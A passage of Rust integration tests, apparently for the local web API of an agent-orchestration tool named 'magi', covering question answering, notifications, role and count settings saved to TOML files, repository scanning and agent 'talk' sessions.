10344 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10345 .expect("reply");
10346 store.put(&mut q).expect("put");
10347 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10348 assert_eq!(
10349 fx.get("/api/health").await.json()["questions_needs_owner"],
10350 1,
10351 "the agent's reply is what should light the banner back up"
10352 );
10353 }
10354
10355 #[tokio::test]
10356 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10357 let fx = Fixture::start().await;
10358 let store = fx.questions();
10359
10360 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10361 let res = fx
10362 .post(
10363 &format!("/api/questions/{empty_id}/say"),
10364 Some(r#"{"body":" "}"#),
10365 )
10366 .await;
10367 assert_eq!(res.status, 400, "{}", res.body);
10368
10369 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10370 let mut answered = store.get(&answered_id).expect("get");
10371 answered
10372 .answer(Answer::Choice("SQLite".to_owned()))
10373 .expect("answer");
10374 store.put(&mut answered).expect("put");
10375 let res = fx
10376 .post(
10377 &format!("/api/questions/{answered_id}/say"),
10378 Some(r#"{"body":"still there?"}"#),
10379 )
10380 .await;
10381 assert_eq!(res.status, 409, "{}", res.body);
10382
10383 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10384 let mut abandoned = store.get(&abandoned_id).expect("get");
10385 abandoned.abandon("timed out");
10386 store.put(&mut abandoned).expect("put");
10387 let res = fx
10388 .post(
10389 &format!("/api/questions/{abandoned_id}/say"),
10390 Some(r#"{"body":"still there?"}"#),
10391 )
10392 .await;
10393 assert_eq!(res.status, 409, "{}", res.body);
10394 }
10395
10396 #[tokio::test]
10397 async fn an_answer_the_question_does_not_offer_is_refused() {
10398 let fx = Fixture::start().await;
10399 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10400 let path = format!("/api/questions/{id}/answer");
10401
10402 for body in [
10403 r#"{"choice":"Postgres"}"#,
10404 r#"{"text":"whatever you think"}"#,
10405 r#"{"choice":"Redis","text":"both"}"#,
10406 r#"{}"#,
10407 ] {
10408 let res = fx.post(&path, Some(body)).await;
10409 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10410 assert!(res.json()["error"].is_string(), "{}", res.body);
10411 }
10412 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10414 }
10415
10416 #[tokio::test]
10417 async fn a_free_text_question_takes_text_and_not_a_choice() {
10418 let fx = Fixture::start().await;
10419 let id = ask(&fx, "What should the flag be called?", &[]);
10420 let path = format!("/api/questions/{id}/answer");
10421
10422 assert_eq!(
10423 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10424 400
10425 );
10426 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10427 assert_eq!(res.status, 200, "{}", res.body);
10428 assert_eq!(res.json()["answer"]["text"], "--json");
10429 }
10430
10431 #[tokio::test]
10432 async fn an_unknown_question_is_a_json_404() {
10433 let fx = Fixture::start().await;
10434 let res = fx
10435 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10436 .await;
10437 assert_eq!(res.status, 404, "{}", res.body);
10438 assert!(res.json()["error"].is_string());
10439 }
10440
10441 #[tokio::test]
10442 async fn notifications_list_read_dismiss_and_health_agree() {
10443 let fx = Fixture::start().await;
10444 let store = Notices::at(fx.home.path().join("notifications"));
10445 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10446 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10447
10448 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10449 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10450
10451 store
10452 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10453 .unwrap();
10454 let health = fx.get("/api/health").await.json();
10455 assert_eq!(health["notifications_unread"], 2);
10456 assert_ne!(
10457 health["notifications_rev"], rev0,
10458 "the badge must move live"
10459 );
10460
10461 let listed = fx.get("/api/notifications").await.json();
10462 assert_eq!(listed["unread"], 2);
10463 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10464 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10465
10466 let read = fx
10467 .post(&format!("/api/notifications/{}/read", a.id), None)
10468 .await;
10469 assert_eq!(read.status, 200, "{}", read.body);
10470 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10471
10472 let gone = fx
10473 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10474 .await;
10475 assert_eq!(gone.status, 200, "{}", gone.body);
10476 let listed = fx.get("/api/notifications").await.json();
10477 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10478 assert_eq!(listed["unread"], 0);
10479
10480 store.raise(Notice::info("x", "again")).unwrap();
10481 let all = fx.post("/api/notifications/read-all", None).await;
10482 assert_eq!(all.status, 200, "{}", all.body);
10483 assert_eq!(all.json()["marked"], 1);
10484 assert_eq!(
10485 fx.get("/api/health").await.json()["notifications_unread"],
10486 0
10487 );
10488
10489 let missing = fx.post("/api/notifications/nope/read", None).await;
10490 assert_eq!(missing.status, 404, "{}", missing.body);
10491 assert!(missing.json()["error"].is_string());
10492 }
10493
10494 #[tokio::test]
10501 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10502 let f = Fixture::start().await;
10503
10504 let res = f
10505 .post(
10506 "/api/queue",
10507 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10508 )
10509 .await;
10510
10511 assert_eq!(
10512 res.status, 405,
10513 "POST /api/queue must not be a route: {}",
10514 res.body
10515 );
10516 assert!(
10517 f.queue().list().is_empty(),
10518 "a task filed by a route that does not exist must not reach the disk"
10519 );
10520 assert_eq!(f.get("/api/queue").await.status, 200);
10523 }
10524
10525 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10527 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10528 .expect("checkout dir");
10529 }
10530
10531 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10533
10534 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10535 let tmp = TempDir::new().expect("tempdir");
10536 let repo = tmp.path().join("repo");
10537 std::fs::create_dir_all(&repo).expect("repo dir");
10538 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10539 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10540 if let Some(text) = machine_toml {
10541 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10542 std::fs::write(&machine, text).expect("machine toml");
10543 }
10544 (tmp, repo, machine)
10545 }
10546
10547 async fn settings_checkout(path: &FsPath, text: &str) {
10548 std::fs::create_dir_all(path).unwrap();
10549 std::fs::write(path.join("magi.toml"), text).unwrap();
10550 for args in [
10551 vec!["init", "-b", "main"],
10552 vec!["add", "magi.toml"],
10553 vec![
10554 "-c",
10555 "user.name=Test",
10556 "-c",
10557 "user.email=test@example.invalid",
10558 "commit",
10559 "-m",
10560 "fixture",
10561 ],
10562 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
10563 vec![
10564 "symbolic-ref",
10565 "refs/remotes/origin/HEAD",
10566 "refs/remotes/origin/main",
10567 ],
10568 ] {
10569 crate::git::git(path, &args).await.unwrap();
10570 }
10571 }
10572
10573 #[tokio::test]
10574 async fn settings_context_handlers_validate_and_save_without_a_socket() {
10575 let (tmp, repo, machine) =
10576 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
10577 let root = tmp.path().join("roots");
10578 let selected = root.join("host/owner/selected");
10579 settings_checkout(
10580 &selected,
10581 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
10582 )
10583 .await;
10584 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
10585 let before = std::fs::read(&machine).unwrap();
10586 let ui = Arc::new(
10587 Ui::new(
10588 Queue::at(tmp.path().join("queue")),
10589 Questions::at(tmp.path().join("questions")),
10590 Talks::at(tmp.path().join("talks")),
10591 tmp.path().join("runs"),
10592 tmp.path().to_path_buf(),
10593 repo.clone(),
10594 )
10595 .with_machine_config(Some(machine.clone())),
10596 );
10597 let query = || {
10598 Query(SettingsQuery {
10599 repo: Some(selected.clone()),
10600 })
10601 };
10602 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
10603 assert!(v.error.is_none(), "{:?}", v.error);
10604 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
10605 assert_eq!(conductor.source, "repo");
10606 assert_eq!(
10607 conductor.machine_value,
10608 Some(toml::Value::String("a".into()))
10609 );
10610 assert!(!conductor.editable);
10611 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10612 assert_eq!(
10613 judges.count.as_ref().unwrap().machine_value,
10614 Some(toml::Value::Integer(1))
10615 );
10616 assert!(
10617 !v.roles
10618 .iter()
10619 .find(|r| r.key == "reviewers")
10620 .unwrap()
10621 .editable
10622 );
10623 let unknown = || {
10624 Query(SettingsQuery {
10625 repo: Some(tmp.path().to_path_buf()),
10626 })
10627 };
10628 assert_eq!(
10629 settings_get(State(ui.clone()), unknown())
10630 .await
10631 .unwrap_err()
10632 .status,
10633 StatusCode::UNPROCESSABLE_ENTITY
10634 );
10635 let body = || {
10636 Ok(Json(RolesBody {
10637 revision: v.revision.clone(),
10638 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10639 counts: Default::default(),
10640 }))
10641 };
10642 assert_eq!(
10643 settings_put_roles(State(ui.clone()), unknown(), body())
10644 .await
10645 .unwrap_err()
10646 .status,
10647 StatusCode::UNPROCESSABLE_ENTITY
10648 );
10649 assert_eq!(std::fs::read(&machine).unwrap(), before);
10650 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10651 .await
10652 .unwrap();
10653 assert_eq!(
10654 saved.repo,
10655 selected.canonicalize().unwrap().display().to_string()
10656 );
10657 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10658 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10659 let fresh = root.join("host/owner/fresh");
10661 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10662 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10663 .await
10664 .unwrap();
10665 assert_eq!(fresh_view.repositories.len(), 3);
10666 }
10667
10668 #[tokio::test]
10669 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10670 let (tmp, repo, machine) = settings_dirs(
10671 "[roles]\nreviewers = [\"a\"]\n",
10672 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10673 );
10674 let root = tmp.path().join("roots");
10675 let selected = root.join("host/owner/selected");
10676 settings_checkout(
10677 &selected,
10678 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10679 )
10680 .await;
10681 let broken = root.join("host/owner/broken");
10682 settings_checkout(&broken, "[roles\nbroken").await;
10683 let machine_text = format!(
10684 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10685 toml::Value::String(root.display().to_string())
10686 );
10687 std::fs::write(&machine, &machine_text).unwrap();
10688 let originals: Vec<_> = [&repo, &selected, &broken]
10689 .iter()
10690 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10691 .collect();
10692 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10693 let default = f.get("/api/settings").await.json();
10694 assert_eq!(
10695 default["repo"],
10696 repo.canonicalize().unwrap().display().to_string()
10697 );
10698 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10699 let query = format!("?repo={}", selected.display());
10700 let res = f.get(&format!("/api/settings{query}")).await;
10701 assert_eq!(res.status, 200, "{}", res.body);
10702 let v = res.json();
10703 assert!(v["error"].is_null(), "{v}");
10704 assert_eq!(v["repositories"], default["repositories"]);
10705 let role = |key: &str| {
10706 v["roles"]
10707 .as_array()
10708 .unwrap()
10709 .iter()
10710 .find(|r| r["key"] == key)
10711 .unwrap()
10712 };
10713 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10714 assert_eq!(role("advisors")["source"], "repo");
10715 assert_eq!(role("advisors")["editable"], false);
10716 assert!(role("advisors")["machine_value"].is_null());
10717 assert_eq!(role("judges")["count"]["value"], 2);
10718 assert_eq!(role("judges")["count"]["machine_value"], 1);
10719 assert_eq!(role("judges")["count"]["source"], "repo");
10720 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10721 assert!(
10722 source.contains("origin/main") && !source.contains("magi/config/"),
10723 "{source}"
10724 );
10725 assert_eq!(
10726 role("reviewers")["editable"],
10727 false,
10728 "default context outside roots must protect its declarations"
10729 );
10730 let body =
10731 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10732 let unknown = format!("?repo={}", tmp.path().display());
10733 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10734 assert_eq!(
10735 f.put(&format!("/api/settings/roles{unknown}"), &body)
10736 .await
10737 .status,
10738 422
10739 );
10740 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10741 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10742 .to_string();
10743 assert_eq!(
10744 f.put(&format!("/api/settings/roles{query}"), &refuse)
10745 .await
10746 .status,
10747 422
10748 );
10749 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10750 assert_eq!(saved.status, 200, "{}", saved.body);
10751 assert_eq!(saved.json()["repo"], v["repo"]);
10752 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10753 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10754 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10755 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10756 }
10757 let error = f
10758 .get(&format!("/api/settings?repo={}", broken.display()))
10759 .await;
10760 assert_eq!(error.status, 200);
10761 assert!(error.json()["error"]["message"].is_string());
10762 assert_eq!(error.json()["repositories"], default["repositories"]);
10763 }
10764
10765 #[tokio::test]
10766 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10767 let (_tmp, repo, machine) =
10768 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10769 let f = Fixture::with_repo_and_machine(repo, machine).await;
10770 let res = f.get("/api/settings").await;
10771 assert_eq!(res.status, 200, "{}", res.body);
10772 let v = res.json();
10773 assert!(v["error"].is_null(), "{v}");
10774 let role = |k: &str| {
10775 v["roles"]
10776 .as_array()
10777 .and_then(|r| r.iter().find(|x| x["key"] == k))
10778 .cloned()
10779 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10780 };
10781 assert_eq!(role("judges")["source"], "machine");
10782 assert_eq!(role("judges")["editable"], true);
10783 assert_eq!(role("implementers")["source"], "default");
10784 let adv = role("advisors");
10785 assert_eq!(adv["fallback"], "judges");
10786 assert!(
10787 adv["seats"]
10788 .as_array()
10789 .is_some_and(|s| s.iter().all(|x| x == "b")),
10790 "{adv}"
10791 );
10792 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10793 assert_eq!(v["agents"][0]["source"], "repo");
10794 }
10795
10796 #[tokio::test]
10797 async fn settings_get_reports_a_config_that_does_not_parse() {
10798 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10799 let f = Fixture::with_repo_and_machine(repo, machine).await;
10800 let res = f.get("/api/settings").await;
10801 assert_eq!(res.status, 200, "{}", res.body);
10802 let v = res.json();
10803 assert!(v["error"]["message"].is_string(), "{v}");
10804 assert!(
10805 v["error"]["path"]
10806 .as_str()
10807 .is_some_and(|p| p.ends_with("magi.toml")),
10808 "{v}"
10809 );
10810 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10811 }
10812
10813 #[tokio::test]
10814 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10815 let (_tmp, repo, machine) = settings_dirs(
10816 SETTINGS_AGENTS,
10817 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10818 );
10819 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10820 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10821 let rev = f.get("/api/settings").await.json()["revision"]
10822 .as_str()
10823 .expect("revision")
10824 .to_owned();
10825 let body = serde_json::json!({
10826 "revision": rev,
10827 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10828 })
10829 .to_string();
10830 let res = f.put("/api/settings/roles", &body).await;
10831 assert_eq!(res.status, 200, "{}", res.body);
10832 let text = std::fs::read_to_string(&machine).expect("machine");
10833 assert_eq!(
10834 text,
10835 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10836 );
10837 assert_eq!(
10838 std::fs::read(repo.join("magi.toml")).expect("read"),
10839 repo_before
10840 );
10841 let again = f.get("/api/settings").await.json();
10842 let judges = again["roles"]
10843 .as_array()
10844 .expect("roles")
10845 .iter()
10846 .find(|r| r["key"] == "judges")
10847 .expect("judges")
10848 .clone();
10849 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10850 let stale = f.put("/api/settings/roles", &body).await;
10852 assert_eq!(stale.status, 409, "{}", stale.body);
10853 }
10854
10855 #[tokio::test]
10856 async fn settings_counts_are_reported_and_saved() {
10857 let (_tmp, repo, machine) = settings_dirs(
10858 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10859 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10860 );
10861 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10862 let v = f.get("/api/settings").await.json();
10863 let count = |v: &serde_json::Value, k: &str| {
10864 v["roles"]
10865 .as_array()
10866 .and_then(|r| r.iter().find(|x| x["key"] == k))
10867 .map(|x| x["count"].clone())
10868 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10869 };
10870 let imp = count(&v, "implementers");
10871 assert_eq!(imp["value"], 2);
10872 assert_eq!(imp["source"], "machine");
10873 assert_eq!(imp["file_key"], "candidates");
10874 assert_eq!(imp["roster_len"], 2);
10875 assert_eq!(imp["backups"], 0);
10876 assert_eq!(count(&v, "judges")["source"], "default");
10877 assert_eq!(count(&v, "advisors")["min"], 0);
10878 assert_eq!(count(&v, "reviewers")["editable"], false);
10879 assert!(
10880 count(&v, "reviewers")["locked_reason"]
10881 .as_str()
10882 .is_some_and(|m| m.contains("graph.reviewers"))
10883 );
10884 assert!(count(&v, "fixer").is_null());
10885 let rev = v["revision"].as_str().expect("revision").to_owned();
10886 let body = serde_json::json!({
10887 "revision": rev,
10888 "roles": { "judges": ["b"] },
10889 "counts": { "implementers": 1, "advisors": 0 }
10890 })
10891 .to_string();
10892 let res = f.put("/api/settings/roles", &body).await;
10893 assert_eq!(res.status, 200, "{}", res.body);
10894 let text = std::fs::read_to_string(&machine).expect("machine");
10895 assert_eq!(
10896 text,
10897 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10898 );
10899 let after = f.get("/api/settings").await.json();
10900 assert_eq!(count(&after, "implementers")["value"], 1);
10901 assert_eq!(count(&after, "implementers")["backups"], 1);
10902 assert_eq!(count(&after, "advisors")["value"], 0);
10903 let before = std::fs::read_to_string(&machine).expect("machine");
10904 let rev = after["revision"].as_str().expect("revision").to_owned();
10905 for counts in [
10906 serde_json::json!({ "judges": 0 }),
10907 serde_json::json!({ "judges": "x" }),
10908 serde_json::json!({ "judges": 2.5 }),
10909 serde_json::json!({ "judges": -1 }),
10910 serde_json::json!({ "reviewers": 3 }),
10911 serde_json::json!({ "bogus": 3 }),
10912 ] {
10913 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10914 let res = f.put("/api/settings/roles", &body).await;
10915 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10916 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10917 }
10918 }
10919
10920 #[tokio::test]
10921 async fn settings_put_refuses_without_touching_the_file() {
10922 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10923 let (_tmp, repo, machine) = settings_dirs(
10924 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10925 Some(machine_text),
10926 );
10927 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10928 let rev = f.get("/api/settings").await.json()["revision"]
10929 .as_str()
10930 .expect("revision")
10931 .to_owned();
10932 for roles in [
10933 serde_json::json!({ "judges": ["nope"] }),
10934 serde_json::json!({ "reviewers": ["b"] }),
10935 serde_json::json!({ "bogus": ["a"] }),
10936 ] {
10937 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10938 let res = f.put("/api/settings/roles", &body).await;
10939 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10940 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10941 assert_eq!(
10942 std::fs::read_to_string(&machine).expect("machine"),
10943 machine_text
10944 );
10945 }
10946 }
10947
10948 #[tokio::test]
10949 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10950 let tmp = TempDir::new().expect("tempdir");
10951 let repo = tmp.path().join("repo");
10952 std::fs::create_dir_all(&repo).expect("repo dir");
10953 let root = tmp.path().join("root");
10954 make_checkout(&root, "github.com", "yukimemi", "magi");
10955 std::fs::write(
10956 repo.join("magi.toml"),
10957 format!(
10958 "[repos]\nroots = [{:?}]\n",
10959 root.to_string_lossy().into_owned()
10960 ),
10961 )
10962 .expect("write magi.toml");
10963
10964 let f = Fixture::with_repo(repo).await;
10965 let res = f.get("/api/repos").await;
10966 assert_eq!(res.status, 200, "{}", res.body);
10967 let list = res.json();
10968 let repos = list.as_array().expect("an array");
10969 assert_eq!(repos.len(), 1);
10970 assert_eq!(repos[0]["name"], "yukimemi/magi");
10971 assert!(
10972 repos[0]["path"]
10973 .as_str()
10974 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10975 "{list}"
10976 );
10977 }
10978
10979 #[tokio::test]
10980 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10981 let tmp = TempDir::new().expect("tempdir");
10982 let repo = tmp.path().join("repo");
10983 std::fs::create_dir_all(&repo).expect("repo dir");
10984 let root = tmp.path().join("root");
10985 make_checkout(&root, "github.com", "yukimemi", "magi");
10986 std::fs::write(
10987 repo.join("magi.toml"),
10988 format!(
10989 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10990 root.to_string_lossy().into_owned()
10991 ),
10992 )
10993 .expect("write magi.toml");
10994
10995 let f = Fixture::with_repo(repo).await;
10996 let first = f.get("/api/repos").await;
10997 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10998
10999 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11002 let second = f.get("/api/repos").await;
11003 assert_eq!(
11004 second.json().as_array().map(Vec::len),
11005 Some(1),
11006 "a fresh cache must not rescan inside the TTL"
11007 );
11008
11009 let refreshed = f.get("/api/repos?refresh=1").await;
11010 assert_eq!(
11011 refreshed.json().as_array().map(Vec::len),
11012 Some(2),
11013 "an explicit refresh must rescan even inside the TTL"
11014 );
11015 }
11016
11017 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11023
11024 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11028 let tmp = TempDir::new().expect("tempdir");
11029 let repo = tmp.path().join("repo");
11030 std::fs::create_dir_all(&repo).expect("repo dir");
11031 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11032 let f = Fixture::with_repo(repo.clone()).await;
11033 (tmp, repo, f)
11034 }
11035
11036 #[tokio::test]
11037 async fn posting_a_talk_with_remembered_choices_is_soft() {
11038 let (_tmp, _repo, f) = talk_fixture().await;
11039
11040 let good = f
11041 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11042 .await;
11043 assert_eq!(good.status, 201, "{}", good.body);
11044 assert_eq!(good.json()["persona"], "rei");
11045
11046 let stale = f
11048 .post(
11049 "/api/talks",
11050 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11051 )
11052 .await;
11053 assert_eq!(stale.status, 201, "{}", stale.body);
11054 let v = stale.json();
11055 assert_eq!(v["implementers"], 1);
11056 assert_ne!(v["persona"], "nobody");
11057 let typed = f
11058 .post(
11059 "/api/talks",
11060 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11061 )
11062 .await;
11063 assert_eq!(typed.status, 201, "{}", typed.body);
11064
11065 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11067 assert!(
11068 !strict.status.to_string().starts_with('2'),
11069 "{}",
11070 strict.body
11071 );
11072 }
11073
11074 #[tokio::test]
11075 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11076 let (_tmp, _repo, f) = talk_fixture().await;
11077
11078 let opened = f.post("/api/talks", None).await;
11081 assert_eq!(opened.status, 201, "{}", opened.body);
11082 let body = opened.json();
11083 assert_eq!(body["status"], "open");
11084 assert_eq!(
11085 body["turns"].as_array().unwrap().len(),
11086 0,
11087 "opening takes no agent turn: there is nothing yet to answer"
11088 );
11089
11090 let also_opened = f.post("/api/talks", Some("{}")).await;
11092 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11093
11094 let listed = f.get("/api/talks").await.json();
11095 assert_eq!(listed.as_array().unwrap().len(), 2);
11096 }
11097
11098 #[tokio::test]
11099 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11100 let tmp = TempDir::new().expect("tempdir");
11101 let repo = tmp.path().join("repo");
11102 std::fs::create_dir_all(&repo).expect("repo dir");
11103 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11104 std::fs::write(
11105 repo.join("magi.toml"),
11106 format!("{MOCK_AGENT_TOML}\n{second}"),
11107 )
11108 .expect("write magi.toml");
11109 let home = TempDir::new().expect("temp home");
11110 let talks = Talks::at(home.path().join("talks"));
11111 let ui = Arc::new(
11112 Ui::new(
11113 Queue::at(home.path().join("queue")),
11114 Questions::at(home.path().join("questions")),
11115 talks.clone(),
11116 home.path().join("runs"),
11117 home.path().to_path_buf(),
11118 repo.clone(),
11119 )
11120 .with_worktrees_root(home.path().join("wt")),
11121 );
11122 let cfg = config_for(&repo).await.expect("discover config");
11123 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11124 let id = talk.id.clone();
11125 let call = |agent: &str| {
11126 talk_agent(
11127 State(Arc::clone(&ui)),
11128 Path(id.clone()),
11129 Json(TalkAgent {
11130 agent: agent.to_owned(),
11131 }),
11132 )
11133 };
11134
11135 let unknown = call("nobody").await.expect_err("unknown agent");
11136 assert_eq!(
11137 unknown.status,
11138 StatusCode::BAD_REQUEST,
11139 "{}",
11140 unknown.message
11141 );
11142
11143 {
11144 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11147 let busy = call("second").await.expect_err("busy talk");
11148 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11149 assert!(
11150 busy.message.contains("a talk turn is running"),
11151 "{}",
11152 busy.message
11153 );
11154 drop(guard);
11155 }
11156 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11157
11158 let Json(view) = call("second").await.expect("switch");
11159 assert_eq!(view.talk.agent, "second");
11160 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11161 let saved = talks.get(&id).expect("reload");
11162 assert_eq!(saved.agent, "second");
11163 assert_eq!(saved.turns.len(), 1);
11164 assert!(!view.thinking);
11165 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11166 for agent in ["mock", "second"] {
11167 let Json(view) = call(agent).await.expect("immediate consecutive change");
11168 assert_eq!(view.talk.agent, agent);
11169 assert!(!view.thinking);
11170 assert!(!ui.is_thinking(&id));
11171 }
11172
11173 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11174 .await
11175 .expect("detail");
11176 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11177 assert_eq!(roster, ["mock", "second"]);
11178
11179 let mut closed = talks.get(&id).expect("reload");
11180 talk::close(&mut closed, &talks).expect("close");
11181 let refused = call("mock").await.expect_err("closed talk");
11182 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11183 assert!(
11184 refused.message.contains("takes no more turns"),
11185 "{}",
11186 refused.message
11187 );
11188 }
11189
11190 #[tokio::test]
11191 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11192 let tmp = TempDir::new().expect("tempdir");
11193 let repo = tmp.path().join("repo");
11194 std::fs::create_dir_all(&repo).expect("repo dir");
11195 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11196 let home = TempDir::new().expect("temp home");
11197 let talks = Talks::at(home.path().join("talks"));
11198 let ui = Arc::new(
11199 Ui::new(
11200 Queue::at(home.path().join("queue")),
11201 Questions::at(home.path().join("questions")),
11202 talks.clone(),
11203 home.path().join("runs"),
11204 home.path().to_path_buf(),
11205 repo.clone(),
11206 )
11207 .with_worktrees_root(home.path().join("wt")),
11208 );
11209 let cfg = config_for(&repo).await.expect("discover config");
11210 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
